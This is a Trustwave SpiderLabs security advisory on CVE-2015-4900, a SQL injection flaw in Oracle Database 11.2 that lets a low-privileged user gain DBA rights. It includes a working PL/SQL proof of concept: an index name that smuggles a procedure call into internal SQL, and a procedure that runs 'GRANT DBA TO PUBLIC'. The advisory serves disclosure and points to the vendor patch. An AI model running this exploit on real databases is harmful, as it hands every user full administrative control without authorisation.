Trustwave SpiderLabs Security Advisory TWSL2015-019:
Privilege escalation vulnerability in Oracle Database

Published: 11/06/2015 
Version: 1.1

Vendor: Oracle (www.oracle.com)
Product: Oracle Database
Version affected: 11.2 and prior

Product description:
Relational database management system for UNIX, Linux, and Microsoft
Windows platforms.

Finding 1: Privilege escalation via SQL injection in XML index delete statistics processing
Credit: Martin Rakhmanov of Trustwave 
CVE: CVE-2015-4900

There is a flaw in internal SQL fired by DBMS_STATS.DELETE_TABLE_STATS on
tables having XML indexes.  Any valid database user granted CREATE TABLE,
CREATE PROCEDURE and CREATE PUBLIC SYNONYM privileges can exploit this by
using specially crafted XML index name as shown below to gain DBA
privileges:

As a DBA create a demo user:

GRANT CREATE SESSION, CREATE PROCEDURE, CREATE TABLE, CREATE PUBLIC SYNONYM, UNLIMITED TABLESPACE TO demouser IDENTIFIED BY ...;

Connect as demouser and execute:

CREATE PROCEDURE F
(
 PARTNAME      VARCHAR2,
 CASCADE_PARTS BOOLEAN
 )
AUTHID CURRENT_USER
IS
BEGIN
EXECUTE IMMEDIATE ('GRANT DBA TO PUBLIC');
END;
/
CREATE PUBLIC SYNONYM POC FOR F;
CREATE TABLE T34(id int not null primary key, val XMLType);
CREATE INDEX "');POC('" ON T34(val) INDEXTYPE IS XDB.XMLIndex;

declare
    TAB_NAME varchar2(100);
    STMT varchar2(100);
begin
    SELECT OBJECT_NAME INTO TAB_NAME FROM ALL_OBJECTS WHERE OBJECT_NAME LIKE 'SYS%POC%PATH_TABLE';
    STMT := 'CREATE TABLE ' || SUBSTR(TAB_NAME, 1, INSTR(TAB_NAME, '_')) || '(id int)';
    DBMS_OUTPUT.PUT_LINE(STMT);
    EXECUTE IMMEDIATE STMT;
    DBMS_STATS.DELETE_TABLE_STATS(USER, 'T34');
end;
/

Reconnect as demouser and examine session privileges.

Remediation Steps:
Apply the Oracle October 2015 Critical Patch Update (CPU).  


Revision History:
04/14/2015 - Vulnerability disclosed to vendor
10/20/2015 - Patch released by vendor
10/20/2015 - v1.0 Advisory published
11/06/2015 - v1.1 Advisory published (Updated advisory to reflect that Trustwave verified the fix)

References
1. http://www.oracle.com/technetwork/topics/security/cpuoct2015-2367953.html


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About Trustwave SpiderLabs:
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application security tests globally. In addition, the SpiderLabs Research
team provides intelligence through bleeding-edge research and proof of
concept tool development to enhance Trustwave's products and services.
https://www.trustwave.com/spiderlabs

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